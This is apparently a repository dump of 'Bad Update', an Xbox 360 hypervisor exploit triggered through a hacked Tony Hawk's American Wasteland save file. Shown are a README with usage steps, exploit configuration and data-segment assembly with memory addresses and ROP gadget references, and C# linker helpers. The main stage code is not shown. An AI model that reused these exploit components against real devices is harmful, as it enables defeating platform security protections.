├── update_data.bin
├── xke_update.bin
├── Stage4
├── Stage4_CleanHvData_Retail_17559.bin
└── BadUpdateExploit-4thStage.asm
├── Stage1
└── TonyHawksAmericanWasteland
│ ├── Retail
│ └── E00000A95A946494
│ │ ├── 415607D4
│ │ └── 00000001
│ │ │ └── Hack Xbox-Park
│ │ └── FFFE07D1
│ │ └── 00010000
│ │ └── E00000A95A946494
│ ├── TonyHawk.asm
│ └── BadUpdateExploit.asm
├── Stage3
├── ObjLink
│ ├── ObjLink
│ │ ├── IO
│ │ │ ├── Endianness.cs
│ │ │ ├── EndianReader.cs
│ │ │ └── EndianWriter.cs
│ │ ├── ObjLink.csproj
│ │ ├── CommandLine.cs
│ │ └── Program.cs
│ └── ObjLink.sln
├── symbol_table.asm
└── BadUpdatePoc.cpp
├── .gitignore
├── Common
├── BuildConfig.asm
├── BadUpdateExploit_Data_h.asm
├── BadUpdateExploit_Data.asm
├── GetPayloadCipherText_Macros.asm
├── GetPayloadCipherText.asm
├── MemcpyCipherText.asm
├── KernelConfig_Retail_17559.asm
└── KernelConfig_Debug.asm
├── README.md
└── Stage2
└── BadUpdateExploit-2ndStage.asm
/update_data.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/InvoxiPlayGames/Xbox360BadUpdate/HEAD/update_data.bin
--------------------------------------------------------------------------------
/xke_update.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/InvoxiPlayGames/Xbox360BadUpdate/HEAD/xke_update.bin
--------------------------------------------------------------------------------
/Stage4/Stage4_CleanHvData_Retail_17559.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/InvoxiPlayGames/Xbox360BadUpdate/HEAD/Stage4/Stage4_CleanHvData_Retail_17559.bin
--------------------------------------------------------------------------------
/Stage1/TonyHawksAmericanWasteland/Retail/E00000A95A946494/415607D4/00000001/Hack Xbox-Park:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/InvoxiPlayGames/Xbox360BadUpdate/HEAD/Stage1/TonyHawksAmericanWasteland/Retail/E00000A95A946494/415607D4/00000001/Hack Xbox-Park
--------------------------------------------------------------------------------
/Stage1/TonyHawksAmericanWasteland/Retail/E00000A95A946494/FFFE07D1/00010000/E00000A95A946494:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/InvoxiPlayGames/Xbox360BadUpdate/HEAD/Stage1/TonyHawksAmericanWasteland/Retail/E00000A95A946494/FFFE07D1/00010000/E00000A95A946494
--------------------------------------------------------------------------------
/Stage3/ObjLink/ObjLink/IO/Endianness.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace IO
7 | {
8 | public enum Endianness
9 | {
10 | Little,
11 | Big
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/Stage3/ObjLink/ObjLink/ObjLink.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Exe
5 | net6.0
6 | enable
7 | enable
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/Stage1/TonyHawksAmericanWasteland/TonyHawk.asm:
--------------------------------------------------------------------------------
1 |
2 | ###########################################################
3 | # Tony Hawk function addresses.
4 |
5 | # XTL functions:
6 | .set XPhysicalAlloc, 0x822DA430
7 | .set XSetThreadProcessor, 0x822DA2E0
8 |
9 |
10 | ###########################################################
11 | # Tony Hawk data addresses.
12 | .set RuntimeDataSegmentAddress, 0x8275D600 # We use the .binkdata section as a temporary data segment
13 |
14 |
15 | ###########################################################
16 | # Save file constants
17 | .set GapDataStartFileOffset, 0xDF4 # Offset of the gap data in the save file
18 | .set GapDataStartHeapAddress, 0xB43B682E # Address of the gap data on the heap
19 | .set OriginalStackPointer, 0x7004F2F0 # Stack pointer value upon exiting the load park function
20 |
21 |
--------------------------------------------------------------------------------
/Stage3/ObjLink/ObjLink.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.4.33213.308
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ObjLink", "ObjLink\ObjLink.csproj", "{A07202E9-2BDF-468E-8711-6A0A77BB2E70}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {A07202E9-2BDF-468E-8711-6A0A77BB2E70}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {A07202E9-2BDF-468E-8711-6A0A77BB2E70}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {A07202E9-2BDF-468E-8711-6A0A77BB2E70}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {A07202E9-2BDF-468E-8711-6A0A77BB2E70}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {B75FF56A-392B-4EE5-BF78-18FABACA1EC7}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | Tools/
2 |
3 | *.bin
4 | *.exe
5 | *.xdb
6 | *.xex
7 | *.idb
8 | *.elf
9 |
10 | # Special files to include:
11 | !Stage4_CleanHvData_Retail_17559.bin
12 | !xke_update.bin
13 | !update_data.bin
14 |
15 | # User-specific files
16 | *.rsuser
17 | *.suo
18 | *.user
19 | *.userosscache
20 | *.sln.docstates
21 |
22 | # Build results
23 | [Dd]ebug/
24 | [Dd]ebugPublic/
25 | [Rr]elease/
26 | [Rr]eleases/
27 | x64/
28 | x86/
29 | bld/
30 | [Bb]in/
31 | [Oo]bj/
32 | [Ll]og/
33 |
34 | # Visual Studio 2015 cache/options directory
35 | .vs/
36 |
37 | # Files built by Visual Studio
38 | *_i.c
39 | *_p.c
40 | *_h.h
41 | *.ilk
42 | *.meta
43 | *.obj
44 | *.iobj
45 | *.pch
46 | *.pdb
47 | *.ipdb
48 | *.pgc
49 | *.pgd
50 | *.rsp
51 | # but not Directory.Build.rsp, as it configures directory-level build defaults
52 | !Directory.Build.rsp
53 | *.sbr
54 | *.tlb
55 | *.tli
56 | *.tlh
57 | *.tmp
58 | *.tmp_proj
59 | *_wpftmp.csproj
60 | *.log
61 | *.tlog
62 | *.vspscc
63 | *.vssscc
64 | .builds
65 | *.pidb
66 | *.svclog
67 | *.scc
68 |
69 | # Chutzpah Test files
70 | _Chutzpah*
71 |
72 | # Visual C++ cache files
73 | ipch/
74 | *.aps
75 | *.ncb
76 | *.opendb
77 | *.opensdf
78 | *.sdf
79 | *.cachefile
80 | *.VC.db
81 | *.VC.VC.opendb
82 |
83 | *.htm
84 | /Stage3/ObjLink/ObjLink/Properties/launchSettings.json
85 |
--------------------------------------------------------------------------------
/Stage3/symbol_table.asm:
--------------------------------------------------------------------------------
1 |
2 | #---------------------------------------------------------
3 | # Symbol map consumed by the linker.
4 | #---------------------------------------------------------
5 |
6 | # Compiler flags, must be set before any code or include directives:
7 | .include "BuildConfig.asm"
8 |
9 | # Emit a symbol table that can be consumed by the compiler to link to known functions:
10 | #
11 | # FuncName = 0xAABBCCDD;
12 | #
13 |
14 | .macro NIBBLE_TO_CHAR val
15 | .if \val > 9
16 | .byte 'A' + (\val - 0xA)
17 | .else
18 | .byte '0' + \val
19 | .endif
20 | .endm
21 |
22 | .macro DWORD_TO_STR val
23 | NIBBLE_TO_CHAR (\val >> 28) & 0xF
24 | NIBBLE_TO_CHAR (\val >> 24) & 0xF
25 | NIBBLE_TO_CHAR (\val >> 20) & 0xF
26 | NIBBLE_TO_CHAR (\val >> 16) & 0xF
27 | NIBBLE_TO_CHAR (\val >> 12) & 0xF
28 | NIBBLE_TO_CHAR (\val >> 8) & 0xF
29 | NIBBLE_TO_CHAR (\val >> 4) & 0xF
30 | NIBBLE_TO_CHAR (\val >> 0) & 0xF
31 | .endm
32 |
33 | .macro SYMBOL_ENTRY name
34 | .ascii "\name = 0x"
35 | DWORD_TO_STR \name
36 | .ascii ";\n"
37 | .endm
38 |
39 | # Note: Do NOT define symbol addresses in this file! They must be defined as part of the kernel/game configs
40 | # and be supported by all targets/games supported.
41 |
42 | # Symbol table:
43 | SYMBOL_ENTRY XSetThreadProcessor
44 | SYMBOL_ENTRY XPhysicalAlloc
45 | SYMBOL_ENTRY CreateFileA
46 | SYMBOL_ENTRY GetFileSize
47 | SYMBOL_ENTRY ReadFile
48 | SYMBOL_ENTRY CreateThread
49 | SYMBOL_ENTRY ResumeThread
50 | SYMBOL_ENTRY GetLastError
51 | SYMBOL_ENTRY XLaunchNewImage
52 | SYMBOL_ENTRY memcpy
53 | SYMBOL_ENTRY memset
54 |
--------------------------------------------------------------------------------
/Common/BuildConfig.asm:
--------------------------------------------------------------------------------
1 |
2 | # Determines which platform to target, retail or debug:
3 | #.set RETAIL_BUILD, 1
4 | #.set DEBUG_BUILD, 1
5 |
6 | # Determines which game to target for the exploit:
7 | #.set TONY_HAWK_AW, 1
8 |
9 | # Sanity check compiler flags.
10 | .ifdef RETAIL_BUILD
11 | .ifdef DEBUG_BUILD
12 | .error "RETAIL_BUILD and DEBUG_BUILD cannot be specified at the same time"
13 | .endif
14 | .else
15 | .ifndef DEBUG_BUILD
16 | .error "Must specify one of RETAIL_BUILD or DEBUG_BUILD"
17 | .endif
18 | .endif
19 |
20 | .ifdef DEBUG_BUILD
21 | .ifdef RETAIL_BUILD
22 | .error "RETAIL_BUILD and DEBUG_BUILD cannot be specified at the same time"
23 | .endif
24 | .else
25 | .ifndef RETAIL_BUILD
26 | .error "Must specify one of RETAIL_BUILD or DEBUG_BUILD"
27 | .endif
28 | .endif
29 |
30 |
31 | ###########################################################
32 | # Include kernel config for specified platform.
33 | .ifdef RETAIL_BUILD
34 | .include "KernelConfig_Retail_17559.asm"
35 | .else
36 | .include "KernelConfig_Debug.asm"
37 | .endif
38 |
39 | # Make sure the kernel version is specified which indicates the kernel address file was included.
40 | .ifndef KRNL_VER
41 | .error "Kernel config not specified"
42 | .endif
43 |
44 |
45 | ###########################################################
46 | # Include game config for specified target.
47 | .ifdef TONY_HAWK_AW
48 | .include "TonyHawk.asm"
49 | .endif
50 |
51 | # Sanity check the game config.
52 | .ifndef RuntimeDataSegmentAddress
53 | .error "Game config must define RuntimeDataSegmentAddress to a valid address"
54 | .endif
55 |
--------------------------------------------------------------------------------
/Common/BadUpdateExploit_Data_h.asm:
--------------------------------------------------------------------------------
1 |
2 |
3 | #---------------------------------------------------------
4 | # Header for the data segment, contains pre-calculated addresses for all runtime data.
5 | #---------------------------------------------------------
6 |
7 | .macro EXPLOIT_DATA sym
8 | .set \sym, RuntimeDataSegmentAddress + (_\sym - _data_segment_start)
9 | .endm
10 |
11 | # Symlink data:
12 | EXPLOIT_DATA hdd_symlink_mount_str
13 | EXPLOIT_DATA hdd_symlink_path_str
14 | EXPLOIT_DATA hdd_symlink_mount
15 | EXPLOIT_DATA hdd_symlink_path
16 |
17 | EXPLOIT_DATA flash_symlink_mount_str
18 | EXPLOIT_DATA flash_symlink_path_str
19 | EXPLOIT_DATA flash_symlink_mount
20 | EXPLOIT_DATA flash_symlink_path
21 |
22 | # Misc data:
23 | EXPLOIT_DATA smc_command_buffer
24 | EXPLOIT_DATA read_file_bytes_read
25 | EXPLOIT_DATA load_add_store_scratch
26 | EXPLOIT_DATA read_file_handle
27 | EXPLOIT_DATA read_file_size
28 | EXPLOIT_DATA read_file_scratch
29 |
30 | EXPLOIT_DATA pPayloadCipherText
31 | EXPLOIT_DATA pPayloadCipherText2
32 | EXPLOIT_DATA PayloadCipherTextPhysAddr
33 | EXPLOIT_DATA pPayloadCipherTextSizeValue
34 | EXPLOIT_DATA PayloadCipherTextSizeValuePhysAddr
35 | EXPLOIT_DATA abOracleData
36 | EXPLOIT_DATA BootAnimCodePagePhysAddr
37 |
38 | EXPLOIT_DATA memcpy_cipher_text_src_addr
39 | EXPLOIT_DATA memcpy_cipher_text_dst_addr
40 | EXPLOIT_DATA memcpy_cipher_text_scratch
41 |
42 | EXPLOIT_DATA flash_bootanim_path
43 | EXPLOIT_DATA bootanim_module_handle
44 |
45 | .set EncryptedVirtualAddress, 0x8D000000
46 | EXPLOIT_DATA CipherTextScratchBuffer
47 | EXPLOIT_DATA pEncryptedVirtualAddress
48 |
49 | EXPLOIT_DATA arithmetic_scratch1
50 |
51 | # Secondary payload data:
52 | .set second_stage_max_size, 3 * 1024 * 1024 # 3MB max size
53 | .set second_stage_offset, 0x300
54 | EXPLOIT_DATA second_stage_chain_address
55 | EXPLOIT_DATA second_stage_chain_size
56 | EXPLOIT_DATA secondary_payload_file_path
57 |
58 | .set secondary_overwrite_loop_max_size, 1 * 1024 * 1024 # 1MB max size
59 | EXPLOIT_DATA overwrite_loop_secondary_buffer_address
60 | EXPLOIT_DATA overwrite_loop_secondary_buffer_size
61 | EXPLOIT_DATA overwrite_loop_stack_address
62 | EXPLOIT_DATA overwrite_cipher_text_stack_address
63 |
64 | EXPLOIT_DATA memcmp_if_call_ptr
65 |
66 | # Third stage payload data:
67 | .set third_stage_max_size, 0x00010000 # 64k max size
68 | EXPLOIT_DATA third_stage_payload_file_path
69 |
70 | # Misc debug data:
71 | EXPLOIT_DATA data_segment_ptr
72 | EXPLOIT_DATA test_file_path
73 | EXPLOIT_DATA StatusToLedValues
--------------------------------------------------------------------------------
/Stage3/ObjLink/ObjLink/CommandLine.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 |
7 | namespace ObjLink
8 | {
9 | ///
10 | /// Provides utilities to parse and scan a command line array.
11 | ///
12 | public class CommandLine
13 | {
14 | private string[] commandLine;
15 | ///
16 | /// Gets the command line arguments.
17 | ///
18 | public string[] CommandLineArgs { get { return commandLine; } }
19 |
20 | ///
21 | /// Creates a new CommandLine object using the specified command line argument array.
22 | ///
23 | /// Command line argument array.
24 | public CommandLine(string[] args)
25 | {
26 | // Save command line args.
27 | this.commandLine = args;
28 | }
29 |
30 | ///
31 | /// Searches the command line arguments for an option variable.
32 | ///
33 | /// Option variable to search for.
34 | /// Boolean indicating the option name is case sensitive.
35 | /// True if the command line contains the specified option, false otherwise.
36 | public bool FindOption(string option, bool isCaseSensitive)
37 | {
38 | // Loop through the command line args.
39 | for (int i = 0; i < commandLine.Length; i++)
40 | {
41 | // Check if the strings match.
42 | if ((isCaseSensitive == true && option.Equals(commandLine[i], StringComparison.Ordinal)) ||
43 | (isCaseSensitive == false && option.Equals(commandLine[i], StringComparison.OrdinalIgnoreCase)))
44 | return true;
45 | }
46 |
47 | // Option was not found in the command line array.
48 | return false;
49 | }
50 |
51 | ///
52 | /// Searches the command line arguments for the specified key value.
53 | ///
54 | /// Key value to search for.
55 | /// Boolean indicating the key name is case sensitive.
56 | /// True if the command line contains the specified key, false otherwise.
57 | public bool IsKeyPresent(string key, bool isCaseSensitive)
58 | {
59 | // Loop through the command line args.
60 | for (int i = 0; i < commandLine.Length; i++)
61 | {
62 | // Check if the strings match.
63 | if ((isCaseSensitive == true && key.Equals(commandLine[i], StringComparison.Ordinal)) ||
64 | (isCaseSensitive == false && key.Equals(commandLine[i], StringComparison.OrdinalIgnoreCase)))
65 | return true;
66 | }
67 |
68 | // Key was not found in the command line array.
69 | return false;
70 | }
71 |
72 | ///
73 | /// Gets the value for the specified key in the command line arguments.
74 | ///
75 | /// Key value to search for.
76 | /// Boolean indicating the key name is case sensitive.
77 | /// The value of the key if the key and value exist, else the return value is null.
78 | public string GetKeyValue(string key, bool isCaseSensitive)
79 | {
80 | // Loop through the command line args.
81 | for (int i = 0; i < commandLine.Length; i++)
82 | {
83 | // Check if the strings match.
84 | if ((isCaseSensitive == true && key.Equals(commandLine[i], StringComparison.Ordinal)) ||
85 | (isCaseSensitive == false && key.Equals(commandLine[i], StringComparison.OrdinalIgnoreCase)))
86 | {
87 | // Check if there is another command line argument.
88 | if (i == commandLine.Length - 1)
89 | return null;
90 |
91 | // Return the key value.
92 | return commandLine[i + 1];
93 | }
94 | }
95 |
96 | // Key was not found in the command line array.
97 | return null;
98 | }
99 | }
100 | }
101 |
--------------------------------------------------------------------------------
/Common/BadUpdateExploit_Data.asm:
--------------------------------------------------------------------------------
1 |
2 |
3 | #---------------------------------------------------------
4 | # Temporary data we copy to some writable section of memory defined in the game config.
5 | #---------------------------------------------------------
6 |
7 | # Always ensure the data segment is aligned to a 16 byte boundary from the assembler's point
8 | # of view or else the addresses calculated with EXPLOIT_DATA can be mismatched between files
9 | # that use the data segment.
10 | .align 4
11 |
12 | _data_segment_start:
13 |
14 | _hdd_symlink_mount_str:
15 | .ascii "\\??\\PAYLOAD:"
16 | hdd_symlink_mount_str_length = . - _hdd_symlink_mount_str
17 | .byte 0x00
18 | .align 2
19 |
20 | _hdd_symlink_path_str:
21 | .ifdef DEBUG_BUILD
22 | .ascii "\\Device\\Harddisk0\\Partition1\\BadUpdatePayload"
23 | .else
24 | .ascii "\\Device\\Mass0\\BadUpdatePayload"
25 | .endif
26 | hdd_symlink_path_str_length = . - _hdd_symlink_path_str
27 | .byte 0x00
28 | .align 2
29 |
30 | _hdd_symlink_mount:
31 | .short hdd_symlink_mount_str_length
32 | .short hdd_symlink_mount_str_length + 1
33 | .long hdd_symlink_mount_str
34 |
35 | _hdd_symlink_path:
36 | .short hdd_symlink_path_str_length
37 | .short hdd_symlink_path_str_length + 1
38 | .long hdd_symlink_path_str
39 |
40 | _flash_symlink_mount_str:
41 | .ascii "\\??\\Flash:"
42 | flash_symlink_mount_str_length = . - _flash_symlink_mount_str
43 | .byte 0x00
44 | .align 2
45 |
46 | _flash_symlink_path_str:
47 | .ascii "\\Device\\Flash"
48 | flash_symlink_path_str_length = . - _flash_symlink_path_str
49 | .byte 0x00
50 | .align 2
51 |
52 | _flash_symlink_mount:
53 | .short flash_symlink_mount_str_length
54 | .short flash_symlink_mount_str_length + 1
55 | .long flash_symlink_mount_str
56 |
57 | _flash_symlink_path:
58 | .short flash_symlink_path_str_length
59 | .short flash_symlink_path_str_length + 1
60 | .long flash_symlink_path_str
61 |
62 | _smc_command_buffer:
63 | .fill 0x10, 1, 0x00
64 |
65 | _second_stage_chain_address:
66 | .long 0x00000000
67 |
68 | _second_stage_chain_size:
69 | .long second_stage_max_size
70 |
71 | _read_file_bytes_read:
72 | .long 0x00000000
73 |
74 | _load_add_store_scratch:
75 | .long 0x00000000
76 |
77 | _read_file_handle:
78 | .long 0x00000000
79 |
80 | _read_file_size:
81 | .long 0x00000000
82 |
83 | _read_file_scratch:
84 | .long 0x00000000
85 |
86 | _secondary_payload_file_path:
87 | .ascii "PAYLOAD:\\BadUpdateExploit-2ndStage.bin"
88 | .byte 0x00
89 | .align 2
90 |
91 | _pPayloadCipherText:
92 | .long 0x00000000
93 |
94 | _pPayloadCipherText2:
95 | .long 0x00000000
96 |
97 | _PayloadCipherTextPhysAddr:
98 | .long 0x00000000
99 |
100 | _pPayloadCipherTextSizeValue:
101 | .long 0x00000000
102 |
103 | _PayloadCipherTextSizeValuePhysAddr:
104 | .long 0x00000000
105 |
106 | _BootAnimCodePagePhysAddr:
107 | .long 0x00000000
108 |
109 | _memcpy_cipher_text_src_addr:
110 | .long 0x00000000
111 |
112 | _memcpy_cipher_text_dst_addr:
113 | .long 0x00000000
114 |
115 | _memcpy_cipher_text_scratch:
116 | .long 0x00000000
117 |
118 | _abOracleData:
119 | .fill 0x10, 1, 0x00
120 |
121 | _flash_bootanim_path:
122 | .ascii "Flash:\\bootanim.xex"
123 | .byte 0x00
124 | .align 2
125 |
126 | _bootanim_module_handle:
127 | .long 0x00000000
128 |
129 | _CipherTextScratchBuffer:
130 | .long 0x00000000
131 |
132 | _pEncryptedVirtualAddress:
133 | .long EncryptedVirtualAddress
134 |
135 | _third_stage_payload_file_path:
136 | .ascii "PAYLOAD:\\BadUpdateExploit-3rdStage.bin"
137 | .byte 0x00
138 | .align 2
139 |
140 | _overwrite_loop_secondary_buffer_address:
141 | .long 0x00000000
142 |
143 | _overwrite_loop_secondary_buffer_size:
144 | .long secondary_overwrite_loop_max_size
145 |
146 | _overwrite_loop_stack_address:
147 | .long 0x00000000
148 | .long 0x00000000
149 |
150 | _overwrite_cipher_text_stack_address:
151 | .long 0x00000000
152 |
153 | _memcmp_if_call_ptr:
154 | .long stack_pivot # gadget address for memcmp == 0
155 | .long __restgprlr_30 # gadget address for memcmp != 0
156 |
157 | _arithmetic_scratch1:
158 | .long 0x00000000
159 |
160 | _data_segment_ptr:
161 | .long RuntimeDataSegmentAddress
162 |
163 | _test_file_path:
164 | .ascii "PAYLOAD:\\test.bin"
165 | .byte 0x00
166 | .align 2
167 |
168 | _StatusToLedValues:
169 | .long 0x00000000
170 | .long 0x00000000
171 |
172 | _data_segment_end:
173 |
174 |
175 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | 
2 |
3 | Bad Update is a non-persistent software only hypervisor exploit for Xbox 360 that works on the latest (17559) software version. This repository contains the exploit files that can be used on an Xbox 360 console to run unsigned code. This exploit can be triggered using one of the following games:
4 | - Tony Hawk's American Wasteland (NTSC/PAL/RF see [here](https://github.com/grimdoomer/Xbox360BadUpdate/wiki/Tony-Hawk's-American-Wasteland#compatible-versions) for how to identify your version/region)
5 |
6 | **This exploit is NOT persistent!** This means your console will only be in a hacked state (able to run homebrew/unsigned code) for as long as it's kept on. **Once you reboot or power off your console you'll need to run the exploit again**. The exploit cannot be made persistent.
7 |
8 | **Your Xbox 360 console must be on dashboard version 17559 in order to use this exploit**. While the exploit can be ported to any system software version I have only built the exploit for the 17559 dashboard version.
9 |
10 | For information on how to use the exploit see the Quick Start section below. For information on how the exploit works or how to compile it from scratch see the following wiki pages:
11 | - [Compiling](https://github.com/grimdoomer/Xbox360BadUpdate/wiki/Compiling)
12 | - [Exploit Details](https://github.com/grimdoomer/Xbox360BadUpdate/wiki/Exploit-Details)
13 |
14 | # Quick Start
15 | To run the Bad Update exploit you'll need one of the supported games listed above and a USB stick. The following steps give a brief overview of how to run the exploit, for more detailed steps please see the [How To Use](https://github.com/grimdoomer/Xbox360BadUpdate/wiki/How-To-Use) wiki page.
16 | 1. Download the Xbox360BadUpdate-Retail-USB.zip file from the releases section and extract the files.
17 | 2. Format a USB stick to FAT32.
18 | 3. Copy the contents of the folder matching the game you want to use for the exploit to the root of the USB stick. Ex: if you're using Tony Hawk's American Wasteland copy the contents of the Tony Hawk's American Wasteland folder to the root of the USB stick. The root of the USB stick should contain the following files/folders: BadUpdatePayload, Content, name.txt.
19 | 4. Place the unsigned executable you want to run when the exploit triggers into the BadUpdatePayload folder on the USB stick and name it "default.xex" (replace any existing file in the folder). This xex file must be in retail format and have all restrictions removed (see the wiki for how to do this).
20 | 5. Insert the USB stick into your Xbox 360 console and power it on.
21 | 6. Sign into the Player 1 profile and run the game you're using to trigger the exploit.
22 | 7. Follow the instructions for the game you chose to load the hacked game save file and begin the exploit process.
23 | 8. The console's ring of light will flash different colors/segments during the exploit process to indicate progress. For information on what the different values mean see the [LED Patterns and Meanings](https://github.com/grimdoomer/Xbox360BadUpdate/wiki/How-To-Use#led-patterns-and-meanings) section of the wiki.
24 | 9. Once the exploit triggers successfully the RoL should be fully lit in green. The hypervisor has now been patched to run unsigned executables and your unsigned default.xex file will be run.
25 |
26 | The exploit has a 30% success rate and can take up to 20 minutes to trigger successfully. If after 20 minutes the exploit hasn't triggered you'll need to power off your Xbox 360 console and repeat the process from step 5.
27 |
28 | # FAQ
29 | **Q: Why do I have to re-run the exploit every time I turn my console on?**
30 | A: The exploit is not-persistent, it only works for as long as the console is kept on. Once the console is turned off or rebooted you'll need to run the exploit again.
31 |
32 | **Q: What does this provide over the RGH Hack/should I use this instead of RGH?**
33 | A: This is a software only exploit that doesn't require you open your console or perform any soldering to use. Other than that it's inferior to the RGH exploit in every way and should be considered a "proof of concept" and not something you use in place of RGH.
34 |
35 | **Q: Can this be turned into a softmod?**
36 | A: No, the Xbox 360 boot chain is very secure with no attack surface to try and exploit. There will never exist a software only boot-to-hacked-state exploit akin to a "softmod".
37 |
38 | **Q: Does this work on winchester consoles?**
39 | A: Yes it has been confirmed to work on winchester consoles.
40 |
41 | **Q: Does this work with the Original Xbox version of Tony Hawk's American Wasteland?**
42 | A: No, it only works with the Xbox 360 version.
43 |
44 | **Q: Can be used with this?**
45 | A: No, the save game exploit is specific to Tony Hawk's American Wasteland and has nothing to do with it being a skateboarding game.
46 |
47 | **Q: I ran the exploit and nothing happened?**
48 | A: The exploit has a 30% success rate. If after running for 20 minutes the exploit hasn't triggered you'll need to reboot your console and try again.
49 |
50 | **Q: Why does the exploit only run a single unsigned xex?**
51 | A: My goal was to hack the hypervisor, not to develop a robust all-in-one homebrew solution. Someone else will need to develop a post-exploit executable that patches in all the quality of life things you would get from something like the RGH exploit.
52 |
53 | **Q: Why does the exploit take so long to trigger/have a lot success rate?**
54 | A: The exploit is a race condition that requires precise timing and several other conditions to be met for it to trigger successfully. As such it can take a while for that to happen.
55 |
--------------------------------------------------------------------------------
/Stage3/ObjLink/ObjLink/IO/EndianReader.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.IO;
6 |
7 | namespace IO
8 | {
9 | public class EndianReader : BinaryReader
10 | {
11 | #region Fields
12 |
13 | public Endianness Endian { get; set; }
14 |
15 | #endregion
16 |
17 | #region Constructors
18 |
19 | public EndianReader(Stream stream) : base(stream)
20 | {
21 | // Default to little endian.
22 | this.Endian = Endianness.Little;
23 | }
24 |
25 | public EndianReader(Endianness Endian, Stream Input)
26 | : base(Input)
27 | {
28 | this.Endian = Endian;
29 | }
30 |
31 | public EndianReader(Endianness Endian, Stream input, Encoding encoding)
32 | : base(input, encoding)
33 | {
34 | this.Endian = Endian;
35 | }
36 |
37 | #endregion
38 |
39 | #region Methods
40 |
41 | public override double ReadDouble()
42 | {
43 | return ReadDouble(this.Endian);
44 | }
45 |
46 | public double ReadDouble(Endianness Endian)
47 | {
48 | // Get Bytes
49 | byte[] Data = base.ReadBytes(8);
50 |
51 | // Reverse
52 | if (Endian == Endianness.Big)
53 | Array.Reverse(Data);
54 |
55 | // Return
56 | return BitConverter.ToDouble(Data, 0);
57 | }
58 |
59 | public override short ReadInt16()
60 | {
61 | return ReadInt16(this.Endian);
62 | }
63 |
64 | public short ReadInt16(Endianness Endian)
65 | {
66 | // Get Bytes
67 | byte[] Data = base.ReadBytes(2);
68 |
69 | // Reverse
70 | if (Endian == Endianness.Big)
71 | Array.Reverse(Data);
72 |
73 | // Return
74 | return BitConverter.ToInt16(Data, 0);
75 | }
76 |
77 | public override int ReadInt32()
78 | {
79 | return ReadInt32(this.Endian);
80 | }
81 |
82 | public int ReadInt32(Endianness Endian)
83 | {
84 | // Get Bytes
85 | byte[] Data = base.ReadBytes(4);
86 |
87 | // Reverse
88 | if (Endian == Endianness.Big)
89 | Array.Reverse(Data);
90 |
91 | // Return
92 | return BitConverter.ToInt32(Data, 0);
93 | }
94 |
95 | public override long ReadInt64()
96 | {
97 | return ReadInt64(this.Endian);
98 | }
99 |
100 | public long ReadInt64(Endianness Endian)
101 | {
102 | // Get Bytes
103 | byte[] Data = base.ReadBytes(8);
104 |
105 | // Reverse
106 | if (Endian == Endianness.Big)
107 | Array.Reverse(Data);
108 |
109 | // Return
110 | return BitConverter.ToInt64(Data, 0);
111 | }
112 |
113 | public override float ReadSingle()
114 | {
115 | return ReadSingle(this.Endian);
116 | }
117 |
118 | public float ReadSingle(Endianness Endian)
119 | {
120 | // Get Bytes
121 | byte[] Data = base.ReadBytes(4);
122 |
123 | // Reverse
124 | if (Endian == Endianness.Big)
125 | Array.Reverse(Data);
126 |
127 | // Return
128 | return BitConverter.ToSingle(Data, 0);
129 | }
130 |
131 | public string ReadUnicodeString(int Length)
132 | {
133 | return ReadUnicodeString(this.Endian, Length);
134 | }
135 |
136 | public string ReadUnicodeString(Endianness Endian, int Length)
137 | {
138 | // Get Bytes
139 | string val = "";
140 |
141 | // Convert To String
142 | for (int i = 0; i < Length; i++)
143 | {
144 | // Get Char
145 | byte c = 0;
146 |
147 | // Endianness
148 | if (Endian == Endianness.Little)
149 | {
150 | c = base.ReadByte();
151 | base.BaseStream.Position++;
152 | }
153 | else
154 | {
155 | base.BaseStream.Position++;
156 | c = base.ReadByte();
157 | }
158 |
159 | // Convert To Char
160 | val += Convert.ToChar(c);
161 | }
162 |
163 | // Return
164 | return val;
165 | }
166 |
167 | public string ReadNullTerminatingString()
168 | {
169 | // Temp Place Holders
170 | string temp = "";
171 | byte c;
172 |
173 | // Read String
174 | while ((c = base.ReadByte()) != 0x00)
175 | temp += Convert.ToChar(c);
176 |
177 | // Return
178 | return temp;
179 | }
180 |
181 | public override ushort ReadUInt16()
182 | {
183 | return ReadUInt16(this.Endian);
184 | }
185 |
186 | public ushort ReadUInt16(Endianness Endian)
187 | {
188 | // Get Bytes
189 | byte[] Data = base.ReadBytes(2);
190 |
191 | // Reverse
192 | if (Endian == Endianness.Big)
193 | Array.Reverse(Data);
194 |
195 | // Return
196 | return BitConverter.ToUInt16(Data, 0);
197 | }
198 |
199 | public override uint ReadUInt32()
200 | {
201 | return ReadUInt32(this.Endian);
202 | }
203 |
